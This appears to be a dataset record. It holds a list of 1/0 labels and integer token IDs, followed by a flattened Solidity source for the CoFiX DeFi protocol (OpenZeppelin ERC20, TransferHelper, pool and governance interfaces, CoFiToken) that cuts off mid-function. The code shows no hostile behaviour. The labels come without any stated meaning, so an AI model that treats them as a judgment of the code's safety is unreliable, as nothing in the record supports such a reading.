1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
549,
26595,
340,
1584,
44,
1876,
426,
10239,
654,
39,
3462,
12,
203,
3639,
467,
1423,
2455,
293,
1345,
38,
15318,
16,
203,
3639,
2971,
654,
39,
3462,
293,
1345,
13535,
2045,
287,
16,
203,
3639,
1758,
29759,
264,
16,
203,
3639,
2254,
2071,
528,
6275,
16,
203,
3639,
1758,
8526,
3778,
589,
16,
203,
3639,
2254,
2078,
758,
23602,
203,
565,
262,
203,
565,
2713,
203,
565,
288,
203,
203,
3639,
1758,
365,
273,
1758,
12,
2211,
1769,
203,
203,
3639,
261,
16,
11890,
695,
1235,
13,
273,
532,
337,
1539,
18,
549,
26595,
340,
8695,
1761,
554,
5157,
12,
2867,
12,
84,
1345,
38,
15318,
3631,
1758,
12,
84,
1345,
13535,
2045,
287,
3631,
2071,
528,
6275,
1769,
203,
203,
3639,
2254,
1865,
13937,
273,
293,
1345,
13535,
2045,
287,
18,
12296,
951,
12,
2890,
1769,
203,
203,
203,
3639,
2254,
1839,
13937,
273,
293,
1345,
13535,
2045,
287,
18,
12296,
951,
12,
2890,
1769,
203,
3639,
309,
261,
5205,
13937,
18,
1717,
12,
5771,
13937,
13,
411,
695,
1235,
13,
288,
203,
5411,
695,
1235,
273,
1839,
13937,
18,
1717,
12,
5771,
13937,
1769,
203,
3639,
289,
203,
203,
203,
3639,
2254,
3844,
382,
273,
6445,
71,
3462,
18,
12296,
951,
12,
2890,
1769,
203,
3639,
389,
12908,
537,
2747,
12,
2867,
12,
12610,
3462,
3631,
1758,
12,
318,
291,
91,
438,
8259,
3631,
3844,
382,
1769,
203,
203,
3639,
640,
291,
91,
438,
8259,
18,
22270,
14332,
5157,
1290,
1584,
44,
12,
8949,
382,
16,
2078,
758,
2
] |
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/libs/TransferHelper.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// File contracts/interfaces/ICoFiXPool.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev This interface defines methods and events for CoFiXPool
interface ICoFiXPool {
/* ******************************************************************************************
* Note: In order to unify the authorization entry, all transferFrom operations are carried
* out in the CoFiXRouter, and the CoFiXPool needs to be fixed, CoFiXRouter does trust and
* needs to be taken into account when calculating the pool balance before and after rollover
* ******************************************************************************************/
/// @dev Add liquidity and mining xtoken event
/// @param token Target token address
/// @param to The address to receive xtoken
/// @param amountETH The amount of ETH added to pool. (When pool is AnchorPool, amountETH is 0)
/// @param amountToken The amount of Token added to pool
/// @param liquidity The real liquidity or XToken minted from pool
event Mint(address token, address to, uint amountETH, uint amountToken, uint liquidity);
/// @dev Remove liquidity and burn xtoken event
/// @param token The address of ERC20 Token
/// @param to The target address receiving the Token
/// @param liquidity The amount of liquidity (XToken) sent to pool, or the liquidity to remove
/// @param amountETHOut The real amount of ETH transferred from the pool
/// @param amountTokenOut The real amount of Token transferred from the pool
event Burn(address token, address to, uint liquidity, uint amountETHOut, uint amountTokenOut);
/// @dev Set configuration
/// @param theta Trade fee rate, ten thousand points system. 20
/// @param impactCostVOL Impact cost threshold
/// @param nt Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based
function setConfig(uint16 theta, uint96 impactCostVOL, uint96 nt) external;
/// @dev Get configuration
/// @return theta Trade fee rate, ten thousand points system. 20
/// @return impactCostVOL Impact cost threshold
/// @return nt Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based
function getConfig() external view returns (uint16 theta, uint96 impactCostVOL, uint96 nt);
/// @dev Add liquidity and mint xtoken
/// @param token Target token address
/// @param to The address to receive xtoken
/// @param amountETH The amount of ETH added to pool. (When pool is AnchorPool, amountETH is 0)
/// @param amountToken The amount of Token added to pool
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return xtoken The liquidity share token address obtained
/// @return liquidity The real liquidity or XToken minted from pool
function mint(
address token,
address to,
uint amountETH,
uint amountToken,
address payback
) external payable returns (
address xtoken,
uint liquidity
);
/// @dev Maker remove liquidity from pool to get ERC20 Token and ETH back (maker burn XToken)
/// @param token The address of ERC20 Token
/// @param to The target address receiving the Token
/// @param liquidity The amount of liquidity (XToken) sent to pool, or the liquidity to remove
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return amountETHOut The real amount of ETH transferred from the pool
/// @return amountTokenOut The real amount of Token transferred from the pool
function burn(
address token,
address to,
uint liquidity,
address payback
) external payable returns (
uint amountETHOut,
uint amountTokenOut
);
/// @dev Swap token
/// @param src Src token address
/// @param dest Dest token address
/// @param amountIn The exact amount of Token a trader want to swap into pool
/// @param to The target address receiving the ETH
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return amountOut The real amount of ETH transferred out of pool
/// @return mined The amount of CoFi which will be mind by this trade
function swap(
address src,
address dest,
uint amountIn,
address to,
address payback
) external payable returns (
uint amountOut,
uint mined
);
/// @dev Gets the token address of the share obtained by the specified token market making
/// @param token Target token address
/// @return If the fund pool supports the specified token, return the token address of the market share
function getXToken(address token) external view returns (address);
}
// File contracts/interfaces/ICoFiXAnchorPool.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev Anchor pool (please refer to the product documentation for the logic of anchoring the fund pool)
interface ICoFiXAnchorPool is ICoFiXPool {
/// @dev Transfer the excess funds that exceed the total share in the fund pool
function skim() external;
/// @dev Estimate mining amount
/// @param token Target token address
/// @param newBalance New balance of target token
/// @return mined The amount of CoFi which will be mind by this trade
function estimate(
address token,
uint newBalance
) external view returns (uint mined);
/// @dev Add token information
/// @param poolIndex Index of pool
/// @param token Target token address
/// @param base Base of token
function addToken(
uint poolIndex,
address token,
uint96 base
) external returns (address xtokenAddress);
}
// File contracts/interfaces/ICoFiXDAO.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev This interface defines the DAO methods
interface ICoFiXDAO {
/// @dev Application Flag Changed event
/// @param addr DAO application contract address
/// @param flag Authorization flag, 1 means authorization, 0 means cancel authorization
event ApplicationChanged(address addr, uint flag);
/// @dev Configuration structure of CoFiXDAO contract
struct Config {
// Redeem status, 1 means normal
uint8 status;
// The number of CoFi redeem per block. 100
uint16 cofiPerBlock;
// The maximum number of CoFi in a single redeem. 30000
uint32 cofiLimit;
// Price deviation limit, beyond this upper limit stop redeem (10000 based). 1000
uint16 priceDeviationLimit;
}
/// @dev Modify configuration
/// @param config Configuration object
function setConfig(Config calldata config) external;
/// @dev Get configuration
/// @return Configuration object
function getConfig() external view returns (Config memory);
/// @dev Set DAO application
/// @param addr DAO application contract address
/// @param flag Authorization flag, 1 means authorization, 0 means cancel authorization
function setApplication(address addr, uint flag) external;
/// @dev Check DAO application flag
/// @param addr DAO application contract address
/// @return Authorization flag, 1 means authorization, 0 means cancel authorization
function checkApplication(address addr) external view returns (uint);
/// @dev Set the exchange relationship between the token and the price of the anchored target currency.
/// For example, set USDC to anchor usdt, because USDC is 18 decimal places and usdt is 6 decimal places.
/// so exchange = 1e6 * 1 ether / 1e18 = 1e6
/// @param token Address of origin token
/// @param target Address of target anchor token
/// @param exchange Exchange rate of token and target
function setTokenExchange(address token, address target, uint exchange) external;
/// @dev Get the exchange relationship between the token and the price of the anchored target currency.
/// For example, set USDC to anchor usdt, because USDC is 18 decimal places and usdt is 6 decimal places.
/// so exchange = 1e6 * 1 ether / 1e18 = 1e6
/// @param token Address of origin token
/// @return target Address of target anchor token
/// @return exchange Exchange rate of token and target
function getTokenExchange(address token) external view returns (address target, uint exchange);
/// @dev Add reward
/// @param pool Destination pool
function addETHReward(address pool) external payable;
/// @dev The function returns eth rewards of specified pool
/// @param pool Destination pool
function totalETHRewards(address pool) external view returns (uint);
/// @dev Settlement
/// @param pool Destination pool. Indicates which pool to pay with
/// @param tokenAddress Token address of receiving funds (0 means ETH)
/// @param to Address to receive
/// @param value Amount to receive
function settle(address pool, address tokenAddress, address to, uint value) external payable;
/// @dev Redeem CoFi for ethers
/// @notice Eth fee will be charged
/// @param amount The amount of CoFi
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
function redeem(uint amount, address payback) external payable;
/// @dev Redeem CoFi for Token
/// @notice Eth fee will be charged
/// @param token The target token
/// @param amount The amount of CoFi
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
function redeemToken(address token, uint amount, address payback) external payable;
/// @dev Get the current amount available for repurchase
function quotaOf() external view returns (uint);
}
// File contracts/interfaces/ICoFiXMapping.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev The interface defines methods for CoFiX builtin contract address mapping
interface ICoFiXMapping {
/// @dev Set the built-in contract address of the system
/// @param cofiToken Address of CoFi token contract
/// @param cofiNode Address of CoFi Node contract
/// @param cofixDAO ICoFiXDAO implementation contract address
/// @param cofixRouter ICoFiXRouter implementation contract address for CoFiX
/// @param cofixController ICoFiXController implementation contract address
/// @param cofixVaultForStaking ICoFiXVaultForStaking implementation contract address
function setBuiltinAddress(
address cofiToken,
address cofiNode,
address cofixDAO,
address cofixRouter,
address cofixController,
address cofixVaultForStaking
) external;
/// @dev Get the built-in contract address of the system
/// @return cofiToken Address of CoFi token contract
/// @return cofiNode Address of CoFi Node contract
/// @return cofixDAO ICoFiXDAO implementation contract address
/// @return cofixRouter ICoFiXRouter implementation contract address for CoFiX
/// @return cofixController ICoFiXController implementation contract address
function getBuiltinAddress() external view returns (
address cofiToken,
address cofiNode,
address cofixDAO,
address cofixRouter,
address cofixController,
address cofixVaultForStaking
);
/// @dev Get address of CoFi token contract
/// @return Address of CoFi Node token contract
function getCoFiTokenAddress() external view returns (address);
/// @dev Get address of CoFi Node contract
/// @return Address of CoFi Node contract
function getCoFiNodeAddress() external view returns (address);
/// @dev Get ICoFiXDAO implementation contract address
/// @return ICoFiXDAO implementation contract address
function getCoFiXDAOAddress() external view returns (address);
/// @dev Get ICoFiXRouter implementation contract address for CoFiX
/// @return ICoFiXRouter implementation contract address for CoFiX
function getCoFiXRouterAddress() external view returns (address);
/// @dev Get ICoFiXController implementation contract address
/// @return ICoFiXController implementation contract address
function getCoFiXControllerAddress() external view returns (address);
/// @dev Get ICoFiXVaultForStaking implementation contract address
/// @return ICoFiXVaultForStaking implementation contract address
function getCoFiXVaultForStakingAddress() external view returns (address);
/// @dev Registered address. The address registered here is the address accepted by CoFiX system
/// @param key The key
/// @param addr Destination address. 0 means to delete the registration information
function registerAddress(string calldata key, address addr) external;
/// @dev Get registered address
/// @param key The key
/// @return Destination address. 0 means empty
function checkAddress(string calldata key) external view returns (address);
}
// File contracts/interfaces/ICoFiXGovernance.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev This interface defines the governance methods
interface ICoFiXGovernance is ICoFiXMapping {
/// @dev Set governance authority
/// @param addr Destination address
/// @param flag Weight. 0 means to delete the governance permission of the target address. Weight is not
/// implemented in the current system, only the difference between authorized and unauthorized.
/// Here, a uint96 is used to represent the weight, which is only reserved for expansion
function setGovernance(address addr, uint flag) external;
/// @dev Get governance rights
/// @param addr Destination address
/// @return Weight. 0 means to delete the governance permission of the target address. Weight is not
/// implemented in the current system, only the difference between authorized and unauthorized.
/// Here, a uint96 is used to represent the weight, which is only reserved for expansion
function getGovernance(address addr) external view returns (uint);
/// @dev Check whether the target address has governance rights for the given target
/// @param addr Destination address
/// @param flag Permission weight. The permission of the target address must be greater than this weight
/// to pass the check
/// @return True indicates permission
function checkGovernance(address addr, uint flag) external view returns (bool);
}
// File contracts/CoFiXBase.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
// Router contract to interact with each CoFiXPair, no owner or governance
/// @dev Base contract of CoFiX
contract CoFiXBase {
// Address of CoFiToken contract
address constant COFI_TOKEN_ADDRESS = 0x1a23a6BfBAdB59fa563008c0fB7cf96dfCF34Ea1;
// Address of CoFiNode contract
address constant CNODE_TOKEN_ADDRESS = 0x558201DC4741efc11031Cdc3BC1bC728C23bF512;
// Genesis block number of CoFi
// CoFiToken contract is created at block height 11040156. However, because the mining algorithm of CoFiX1.0
// is different from that at present, a new mining algorithm is adopted from CoFiX2.1. The new algorithm
// includes the attenuation logic according to the block. Therefore, it is necessary to trace the block
// where the CoFi begins to decay. According to the circulation when CoFi2.0 is online, the new mining
// algorithm is used to deduce and convert the CoFi, and the new algorithm is used to mine the CoFiX2.1
// on-line flow, the actual block is 11040688
uint constant COFI_GENESIS_BLOCK = 11040688;
/// @dev ICoFiXGovernance implementation contract address
address public _governance;
/// @dev To support open-zeppelin/upgrades
/// @param governance ICoFiXGovernance implementation contract address
function initialize(address governance) virtual public {
require(_governance == address(0), "CoFiX:!initialize");
_governance = governance;
}
/// @dev Rewritten in the implementation contract, for load other contract addresses. Call
/// super.update(newGovernance) when overriding, and override method without onlyGovernance
/// @param newGovernance ICoFiXGovernance implementation contract address
function update(address newGovernance) public virtual {
address governance = _governance;
require(governance == msg.sender || ICoFiXGovernance(governance).checkGovernance(msg.sender, 0), "CoFiX:!gov");
_governance = newGovernance;
}
/// @dev Migrate funds from current contract to CoFiXDAO
/// @param tokenAddress Destination token address.(0 means eth)
/// @param value Migrate amount
function migrate(address tokenAddress, uint value) external onlyGovernance {
address to = ICoFiXGovernance(_governance).getCoFiXDAOAddress();
if (tokenAddress == address(0)) {
ICoFiXDAO(to).addETHReward { value: value } (address(0));
} else {
TransferHelper.safeTransfer(tokenAddress, to, value);
}
}
//---------modifier------------
modifier onlyGovernance() {
require(ICoFiXGovernance(_governance).checkGovernance(msg.sender, 0), "CoFiX:!gov");
_;
}
modifier noContract() {
require(msg.sender == tx.origin, "CoFiX:!contract");
_;
}
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
// MIT
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/utils/[email protected]
// MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File contracts/CoFiToken.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
// CoFiToken with Governance. It offers possibilities to adopt off-chain gasless governance infra.
contract CoFiToken is ERC20("CoFi Token", "CoFi") {
address public governance;
mapping (address => bool) public minters;
// Copied and modified from SUSHI code:
// https://github.com/sushiswap/sushiswap/blob/master/contracts/SushiToken.sol
// Which is copied and modified from YAM code and COMPOUND:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @dev An event thats emitted when a new governance account is set
/// @param _new The new governance address
event NewGovernance(address _new);
/// @dev An event thats emitted when a new minter account is added
/// @param _minter The new minter address added
event MinterAdded(address _minter);
/// @dev An event thats emitted when a minter account is removed
/// @param _minter The minter address removed
event MinterRemoved(address _minter);
modifier onlyGovernance() {
require(msg.sender == governance, "CoFi: !governance");
_;
}
constructor() {
governance = msg.sender;
}
function setGovernance(address _new) external onlyGovernance {
require(_new != address(0), "CoFi: zero addr");
require(_new != governance, "CoFi: same addr");
governance = _new;
emit NewGovernance(_new);
}
function addMinter(address _minter) external onlyGovernance {
minters[_minter] = true;
emit MinterAdded(_minter);
}
function removeMinter(address _minter) external onlyGovernance {
minters[_minter] = false;
emit MinterRemoved(_minter);
}
/// @notice mint is used to distribute CoFi token to users, minters are CoFi mining pools
function mint(address _to, uint _amount) external {
require(minters[msg.sender], "CoFi: !minter");
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/// @notice SUSHI has a vote governance bug in its token implementation, CoFi fixed it here
/// read https://blog.peckshield.com/2020/09/08/sushi/
function transfer(address _recipient, uint _amount) public override returns (bool) {
super.transfer(_recipient, _amount);
_moveDelegates(_delegates[msg.sender], _delegates[_recipient], _amount);
return true;
}
/// @notice override original transferFrom to fix vote issue
function transferFrom(address _sender, address _recipient, uint _amount) public override returns (bool) {
super.transferFrom(_sender, _recipient, _amount);
_moveDelegates(_delegates[_sender], _delegates[_recipient], _amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
